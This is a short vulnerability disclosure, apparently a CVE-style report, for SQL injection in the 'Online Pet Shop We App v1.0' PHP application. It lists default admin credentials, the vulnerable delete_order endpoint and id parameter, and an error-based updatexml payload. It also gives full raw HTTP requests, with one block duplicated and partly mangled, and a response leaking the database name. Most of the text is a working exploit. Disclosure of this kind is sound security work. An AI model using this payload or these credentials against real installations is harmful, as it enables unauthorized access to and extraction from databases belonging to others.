Online Pet Shop We App v1.0 by oretnom23 has SQL injection

BUG_Author: Lime

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/14839/online-pet-shop-we-app-using-php-and-paypal-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /pet_shop/classes/Master.php?f=delete_order,id

Vulnerability location: /pet_shop/classes/Master.php?f=delete_order,id

dbname=pet_shop_db,length=11

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /pet_shop/classes/Master.php?f=delete_order HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=k8u390ikl968phg971gmpmhtj5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```

```
POST /pet_shop/classes/Master.php?f=delete_order
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=k8u390ikl968phg971gmpmhtj5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

id=1' and updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+
```

```
HTTP/1.1 200 OK
Date: Thu, 18 Aug 2022 04:11:26 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 65
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed","error":"XPATH syntax error: '~pet_shop_db~'"}
```